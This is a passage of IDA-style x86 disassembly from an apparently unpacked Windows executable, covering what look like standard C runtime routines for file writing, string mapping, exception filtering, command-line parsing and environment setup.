		push	ecx
		call	sub_422FE4
		add	esp, 0Ch


loc_423237:				; CODE XREF: sub_4231D6+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_423306
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_42333E


loc_423257:				; CODE XREF: sub_4231D6+F5j
		lea	eax, [ebp+var_414]


loc_42325D:				; CODE XREF: sub_4231D6+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_423291
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_42327C
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_42327C:				; CODE XREF: sub_4231D6+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_42325D


loc_423291:				; CODE XREF: sub_4231D6+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	dword_4280E0	; WriteFile
		test	eax, eax
		jz	short loc_4232FB
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_4232CD
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_423257


loc_4232CD:				; CODE XREF: sub_4231D6+EAj
					; sub_4231D6+12Ej
		xor	edi, edi


loc_4232CF:				; CODE XREF: sub_4231D6+150j
					; sub_4231D6+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_423365
		cmp	[ebp+arg_0], edi
		jz	short loc_42333E
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_423333
		mov	dword_4DE02C, 9
		mov	dword_4DE030, eax
		jmp	loc_42337B
; ---------------------------------------------------------------------------


loc_4232FB:				; CODE XREF: sub_4231D6+E0j
		call	dword_42808C	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax
		jmp	short loc_4232CD
; ---------------------------------------------------------------------------


loc_423306:				; CODE XREF: sub_4231D6+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		call	dword_4280E0	; WriteFile
		test	eax, eax
		jz	short loc_423328
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_4232CF
; ---------------------------------------------------------------------------


loc_423328:				; CODE XREF: sub_4231D6+145j
		call	dword_42808C	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax
		jmp	short loc_4232CF
; ---------------------------------------------------------------------------


loc_423333:				; CODE XREF: sub_4231D6+10Fj
		push	[ebp+arg_0]
		call	sub_420BDF
		pop	ecx
		jmp	short loc_42337B
; ---------------------------------------------------------------------------


loc_42333E:				; CODE XREF: sub_4231D6+7Bj
					; sub_4231D6+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_423353
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_423220


loc_423353:				; CODE XREF: sub_4231D6+16Fj
		mov	dword_4DE02C, 1Ch
		mov	dword_4DE030, edi
		jmp	short loc_42337B
; ---------------------------------------------------------------------------


loc_423365:				; CODE XREF: sub_4231D6+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_42337E
; ---------------------------------------------------------------------------


loc_42336A:				; CODE XREF: sub_4231D6+15j
					; sub_4231D6+37j
		and	dword_4DE030, 0
		mov	dword_4DE02C, 9


loc_42337B:				; CODE XREF: sub_4231D6+120j
					; sub_4231D6+166j ...
		or	eax, 0FFFFFFFFh


loc_42337E:				; CODE XREF: sub_4231D6+4Cj
					; sub_4231D6+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4231D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423383	proc near		; CODE XREF: sub_41DDAA+47p
					; sub_41DDAA+74p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_428950
		push	offset sub_423D9C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_4DE108, edi
		jnz	short loc_4233F9
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_428948
		mov	esi, 100h
		push	esi
		push	edi
		call	dword_428050	; LCMapStringW
		test	eax, eax
		jz	short loc_4233D7
		mov	dword_4DE108, ebx
		jmp	short loc_4233F9
; ---------------------------------------------------------------------------


loc_4233D7:				; CODE XREF: sub_423383+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset word_4CDB1C
		push	esi
		push	edi
		call	dword_428054	; LCMapStringA
		test	eax, eax
		jz	loc_423511
		mov	dword_4DE108, 2


loc_4233F9:				; CODE XREF: sub_423383+2Ej
					; sub_423383+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_42340E
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_4235A7
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_42340E:				; CODE XREF: sub_423383+79j
		mov	eax, dword_4DE108
		cmp	eax, 2
		jnz	short loc_423435
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_428054	; LCMapStringA
		jmp	loc_423513
; ---------------------------------------------------------------------------


loc_423435:				; CODE XREF: sub_423383+93j
		cmp	eax, 1
		jnz	loc_423511
		cmp	[ebp+arg_18], edi
		jnz	short loc_42344B
		mov	eax, dword_4DE0FC
		mov	[ebp+arg_18], eax


loc_42344B:				; CODE XREF: sub_423383+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		call	dword_428184	; MultiByteToWideChar
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_423511
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_41C2F0
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4234A6
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]


loc_4234A6:				; CODE XREF: sub_423383+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_423511
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		call	dword_428184	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_423511
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_428050	; LCMapStringW
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_423511
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_423525
		cmp	[ebp+arg_14], edi
		jz	loc_4235A0
		cmp	esi, [ebp+arg_14]
		jg	short loc_423511
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_428050	; LCMapStringW
		test	eax, eax
		jnz	loc_4235A0


loc_423511:				; CODE XREF: sub_423383+66j
					; sub_423383+B5j ...
		xor	eax, eax


loc_423513:				; CODE XREF: sub_423383+ADj
					; sub_423383+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_423525:				; CODE XREF: sub_423383+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41C2F0
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_423559
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_423559:				; CODE XREF: sub_423383+1C2j
		cmp	ebx, edi
		jz	short loc_423511
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_428050	; LCMapStringW
		test	eax, eax
		jz	short loc_423511
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_423580
		push	edi
		push	edi
		jmp	short loc_423586
; ---------------------------------------------------------------------------


loc_423580:				; CODE XREF: sub_423383+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_423586:				; CODE XREF: sub_423383+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		call	dword_428180	; WideCharToMultiByte
		mov	esi, eax
		cmp	esi, edi
		jz	loc_423511


loc_4235A0:				; CODE XREF: sub_423383+165j
					; sub_423383+188j
		mov	eax, esi
		jmp	loc_423513
sub_423383	endp


; =============== S U B	R O U T	I N E =======================================



sub_4235A7	proc near		; CODE XREF: sub_423383+81p
					; sub_426733+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_4235C4


loc_4235B7:				; CODE XREF: sub_4235A7+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_4235C4
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_4235B7


loc_4235C4:				; CODE XREF: sub_4235A7+Ej
					; sub_4235A7+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_4235CF
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_4235CF:				; CODE XREF: sub_4235A7+21j
		mov	eax, edx
		retn
sub_4235A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4235D2	proc near		; CODE XREF: .packed:0041E216p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	[ebp+arg_0]
		call	sub_423713
		test	eax, eax
		pop	ecx
		jz	loc_423707
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_423707
		cmp	ebx, 5
		jnz	short loc_423603
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_423710
; ---------------------------------------------------------------------------


loc_423603:				; CODE XREF: sub_4235D2+23j
		cmp	ebx, 1
		jz	loc_423702
		mov	ecx, dword_4DE10C
		mov	[ebp+arg_0], ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4DE10C, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_4236F2
		mov	ecx, dword_43F8B0
		mov	edx, dword_43F8B4
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_423652
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:43F840h[esi*4]


loc_423649:				; CODE XREF: sub_4235D2+7Ej
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_423649


loc_423652:				; CODE XREF: sub_4235D2+69j
		mov	eax, [eax]
		mov	esi, dword_43F8BC
		cmp	eax, 0C000008Eh
		jnz	short loc_42366D
		mov	dword_43F8BC, 83h
		jmp	short loc_4236DD
; ---------------------------------------------------------------------------


loc_42366D:				; CODE XREF: sub_4235D2+8Dj
		cmp	eax, 0C0000090h
		jnz	short loc_423680
		mov	dword_43F8BC, 81h
		jmp	short loc_4236DD
; ---------------------------------------------------------------------------


loc_423680:				; CODE XREF: sub_4235D2+A0j
		cmp	eax, 0C0000091h
		jnz	short loc_423693
		mov	dword_43F8BC, 84h
		jmp	short loc_4236DD
; ---------------------------------------------------------------------------


loc_423693:				; CODE XREF: sub_4235D2+B3j
		cmp	eax, 0C0000093h
		jnz	short loc_4236A6
		mov	dword_43F8BC, 85h
		jmp	short loc_4236DD
; ---------------------------------------------------------------------------


loc_4236A6:				; CODE XREF: sub_4235D2+C6j
		cmp	eax, 0C000008Dh
		jnz	short loc_4236B9
		mov	dword_43F8BC, 82h
		jmp	short loc_4236DD
; ---------------------------------------------------------------------------


loc_4236B9:				; CODE XREF: sub_4235D2+D9j
		cmp	eax, 0C000008Fh
		jnz	short loc_4236CC
		mov	dword_43F8BC, 86h
		jmp	short loc_4236DD
; ---------------------------------------------------------------------------


loc_4236CC:				; CODE XREF: sub_4235D2+ECj
		cmp	eax, 0C0000092h
		jnz	short loc_4236DD
		mov	dword_43F8BC, 8Ah


loc_4236DD:				; CODE XREF: sub_4235D2+99j
					; sub_4235D2+ACj ...
		push	dword_43F8BC
		push	8
		call	ebx
		pop	ecx
		mov	dword_43F8BC, esi
		pop	ecx
		pop	esi
		jmp	short loc_4236FA
; ---------------------------------------------------------------------------


loc_4236F2:				; CODE XREF: sub_4235D2+52j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_4236FA:				; CODE XREF: sub_4235D2+11Ej
		mov	eax, [ebp+arg_0]
		mov	dword_4DE10C, eax


loc_423702:				; CODE XREF: sub_4235D2+34j
		or	eax, 0FFFFFFFFh
		jmp	short loc_423710
; ---------------------------------------------------------------------------


loc_423707:				; CODE XREF: sub_4235D2+Fj
					; sub_4235D2+1Aj
		push	[ebp+arg_4]
		call	dword_42804C	; UnhandledExceptionFilter


loc_423710:				; CODE XREF: sub_4235D2+2Cj
					; sub_4235D2+133j
		pop	ebx
		pop	ebp
		retn
sub_4235D2	endp


; =============== S U B	R O U T	I N E =======================================



sub_423713	proc near		; CODE XREF: sub_4235D2+7p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43F8B8
		cmp	dword_43F838, edx
		push	esi
		mov	eax, offset dword_43F838
		jz	short loc_423740
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43F838h[esi*4]


loc_423735:				; CODE XREF: sub_423713+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_423740
		cmp	[eax], edx
		jnz	short loc_423735


loc_423740:				; CODE XREF: sub_423713+16j
					; sub_423713+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43F838h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_423753
		cmp	[eax], edx
		jz	short locret_423755


loc_423753:				; CODE XREF: sub_423713+3Aj
		xor	eax, eax

locret_423755:				; CODE XREF: sub_423713+3Ej
		retn
sub_423713	endp


; =============== S U B	R O U T	I N E =======================================



sub_423756	proc near		; CODE XREF: .packed:0041E1D8p
		cmp	dword_4DF6D4, 0
		jnz	short loc_423764
		call	sub_420A6D


loc_423764:				; CODE XREF: sub_423756+7j
		push	esi
		mov	esi, dword_4DF6CC
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_423796


loc_423771:				; CODE XREF: sub_423756+33j
					; sub_423756+36j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_42378E
		test	al, al
		jz	short loc_42378E
		movzx	eax, al
		push	eax
		call	sub_42566F
		test	eax, eax
		pop	ecx
		jz	short loc_423771
		inc	esi
		jmp	short loc_423771
; ---------------------------------------------------------------------------


loc_42378E:				; CODE XREF: sub_423756+21j
					; sub_423756+25j
		cmp	byte ptr [esi],	22h
		jnz	short loc_4237A0


loc_423793:				; CODE XREF: sub_423756+52j
		inc	esi
		jmp	short loc_4237A0
; ---------------------------------------------------------------------------


loc_423796:				; CODE XREF: sub_423756+19j
		cmp	al, 20h
		jbe	short loc_4237A0


loc_42379A:				; CODE XREF: sub_423756+48j
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_42379A


loc_4237A0:				; CODE XREF: sub_423756+3Bj
					; sub_423756+3Ej ...
		mov	al, [esi]
		test	al, al
		jz	short loc_4237AA
		cmp	al, 20h
		jbe	short loc_423793


loc_4237AA:				; CODE XREF: sub_423756+4Ej
		mov	eax, esi
		pop	esi
		retn
sub_423756	endp


; =============== S U B	R O U T	I N E =======================================



sub_4237AE	proc near		; CODE XREF: .packed:0041E1C1p
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DF6D4, ebx
		push	esi
		push	edi
		jnz	short loc_4237C0
		call	sub_420A6D


loc_4237C0:				; CODE XREF: sub_4237AE+Bj
		mov	esi, dword_4DE0A0
		xor	edi, edi


loc_4237C8:				; CODE XREF: sub_4237AE+30j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_4237E0
		cmp	al, 3Dh
		jz	short loc_4237D3
		inc	edi


loc_4237D3:				; CODE XREF: sub_4237AE+22j
		push	esi
		call	sub_41B7B0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_4237C8
; ---------------------------------------------------------------------------


loc_4237E0:				; CODE XREF: sub_4237AE+1Ej
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_41BCA5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_4DE054, esi
		jnz	short loc_423802
		push	9
		call	sub_41E229
		pop	ecx


loc_423802:				; CODE XREF: sub_4237AE+4Aj
		mov	edi, dword_4DE0A0
		cmp	[edi], bl
		jz	short loc_423845
		push	ebp


loc_42380D:				; CODE XREF: sub_4237AE+94j
		push	edi
		call	sub_41B7B0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_42383E
		push	ebp
		call	sub_41BCA5
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_423831
		push	9
		call	sub_41E229
		pop	ecx


loc_423831:				; CODE XREF: sub_4237AE+79j
		push	edi
		push	dword ptr [esi]
		call	sub_41C680
		pop	ecx
		add	esi, 4
		pop	ecx


loc_42383E:				; CODE XREF: sub_4237AE+6Cj
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_42380D
		pop	ebp


loc_423845:				; CODE XREF: sub_4237AE+5Cj
		push	dword_4DE0A0
		call	sub_41B881
		pop	ecx
		mov	dword_4DE0A0, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_4DF6D0, 1
		pop	ebx
		retn
sub_4237AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423867	proc near		; CODE XREF: .packed:0041E1BCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DF6D4, ebx
		push	esi
		push	edi
		jnz	short loc_42387E
		call	sub_420A6D


loc_42387E:				; CODE XREF: sub_423867+10j
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		call	dword_428074	; GetModuleFileNameA
		mov	eax, dword_4DF6CC
		mov	off_4DE064, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_4238A3
		mov	edi, eax


loc_4238A3:				; CODE XREF: sub_423867+38j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_423900
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_41BCA5
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_4238D3
		push	8
		call	sub_41E229
		pop	ecx


loc_4238D3:				; CODE XREF: sub_423867+62j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_423900
		mov	eax, [ebp+var_4]
		add	esp, 14h
		dec	eax
		mov	dword_4DE04C, esi
		pop	edi
		pop	esi
		mov	dword_4DE048, eax
		pop	ebx
		leave
		retn
sub_423867	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423900	proc near		; CODE XREF: sub_423867+47p
					; sub_423867+7Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_42392A
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_42392A:				; CODE XREF: sub_423900+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_423973


loc_42392F:				; CODE XREF: sub_423900+58j
					; sub_423900+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_423961
		test	dl, dl
		jz	short loc_423961
		movzx	edx, dl
		test	byte_4DF5A1[edx], 4
		jz	short loc_423954
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423954
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_423954:				; CODE XREF: sub_423900+46j
					; sub_423900+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42392F
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_42392F
; ---------------------------------------------------------------------------


loc_423961:				; CODE XREF: sub_423900+36j
					; sub_423900+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42396B
		and	byte ptr [esi],	0
		inc	esi


loc_42396B:				; CODE XREF: sub_423900+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_4239B6
		inc	eax
		jmp	short loc_4239B6
; ---------------------------------------------------------------------------


loc_423973:				; CODE XREF: sub_423900+2Dj
					; sub_423900+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42397E
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_42397E:				; CODE XREF: sub_423900+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_4DF5A1[ebx], 4
		jz	short loc_423999
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423998
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_423998:				; CODE XREF: sub_423900+91j
		inc	eax


loc_423999:				; CODE XREF: sub_423900+8Bj
		cmp	dl, 20h
		jz	short loc_4239A7
		test	dl, dl
		jz	short loc_4239AB
		cmp	dl, 9
		jnz	short loc_423973


loc_4239A7:				; CODE XREF: sub_423900+9Cj
		test	dl, dl
		jnz	short loc_4239AE


loc_4239AB:				; CODE XREF: sub_423900+A0j
		dec	eax
		jmp	short loc_4239B6
; ---------------------------------------------------------------------------


loc_4239AE:				; CODE XREF: sub_423900+A9j
		test	esi, esi
		jz	short loc_4239B6
		and	byte ptr [esi-1], 0


loc_4239B6:				; CODE XREF: sub_423900+6Ej
					; sub_423900+71j ...
		and	[ebp+arg_10], 0


loc_4239BA:				; CODE XREF: sub_423900+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_423AA3


loc_4239C3:				; CODE XREF: sub_423900+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_4239CF
		cmp	dl, 9
		jnz	short loc_4239D2


loc_4239CF:				; CODE XREF: sub_423900+C8j
		inc	eax
		jmp	short loc_4239C3
; ---------------------------------------------------------------------------


loc_4239D2:				; CODE XREF: sub_423900+CDj
		cmp	byte ptr [eax],	0
		jz	loc_423AA3
		test	edi, edi
		jz	short loc_4239E7
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_4239E7:				; CODE XREF: sub_423900+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_4239EC:				; CODE XREF: sub_423900+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_4239F5:				; CODE XREF: sub_423900+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_4239FE
		inc	eax
		inc	ebx
		jmp	short loc_4239F5
; ---------------------------------------------------------------------------


loc_4239FE:				; CODE XREF: sub_423900+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_423A2F
		test	bl, 1
		jnz	short loc_423A2D
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_423A1C
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_423A1C
		mov	eax, edx
		jmp	short loc_423A1F
; ---------------------------------------------------------------------------


loc_423A1C:				; CODE XREF: sub_423900+10Dj
					; sub_423900+116j
		mov	[ebp+arg_0], edi


loc_423A1F:				; CODE XREF: sub_423900+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_423A2D:				; CODE XREF: sub_423900+106j
		shr	ebx, 1


loc_423A2F:				; CODE XREF: sub_423900+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_423A44
		inc	ebx


loc_423A37:				; CODE XREF: sub_423900+142j
		test	esi, esi
		jz	short loc_423A3F
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_423A3F:				; CODE XREF: sub_423900+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_423A37


loc_423A44:				; CODE XREF: sub_423900+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_423A94
		cmp	[ebp+arg_10], 0
		jnz	short loc_423A5A
		cmp	dl, 20h
		jz	short loc_423A94
		cmp	dl, 9
		jz	short loc_423A94


loc_423A5A:				; CODE XREF: sub_423900+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_423A8E
		test	esi, esi
		jz	short loc_423A7D
		movzx	ebx, dl
		test	byte_4DF5A1[ebx], 4
		jz	short loc_423A76
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_423A76:				; CODE XREF: sub_423900+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_423A8C
; ---------------------------------------------------------------------------


loc_423A7D:				; CODE XREF: sub_423900+162j
		movzx	edx, dl
		test	byte_4DF5A1[edx], 4
		jz	short loc_423A8C
		inc	eax
		inc	dword ptr [ecx]


loc_423A8C:				; CODE XREF: sub_423900+17Bj
					; sub_423900+187j
		inc	dword ptr [ecx]


loc_423A8E:				; CODE XREF: sub_423900+15Ej
		inc	eax
		jmp	loc_4239EC
; ---------------------------------------------------------------------------


loc_423A94:				; CODE XREF: sub_423900+148j
					; sub_423900+153j ...
		test	esi, esi
		jz	short loc_423A9C
		and	byte ptr [esi],	0
		inc	esi


loc_423A9C:				; CODE XREF: sub_423900+196j
		inc	dword ptr [ecx]
		jmp	loc_4239BA
; ---------------------------------------------------------------------------


loc_423AA3:				; CODE XREF: sub_423900+BDj
					; sub_423900+D5j
		test	edi, edi
		jz	short loc_423AAA
		and	dword ptr [edi], 0


loc_423AAA:				; CODE XREF: sub_423900+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_423900	endp


; =============== S U B	R O U T	I N E =======================================



sub_423AB4	proc near		; CODE XREF: .packed:0041E1B2p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		mov	eax, dword_4DE214
		push	ebx
		push	ebp
		mov	ebp, dword_42803C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_423B02
		call	ebp	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_423AE3
		mov	dword_4DE214, 1
		jmp	short loc_423B0B
; ---------------------------------------------------------------------------


loc_423AE3:				; CODE XREF: sub_423AB4+21j
		call	dword_428040	; GetEnvironmentStringsA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_423BDD
		mov	dword_4DE214, 2
		jmp	loc_423B91
; ---------------------------------------------------------------------------


loc_423B02:				; CODE XREF: sub_423AB4+19j
		cmp	eax, 1
		jnz	loc_423B8C


loc_423B0B:				; CODE XREF: sub_423AB4+2Dj
		cmp	esi, ebx
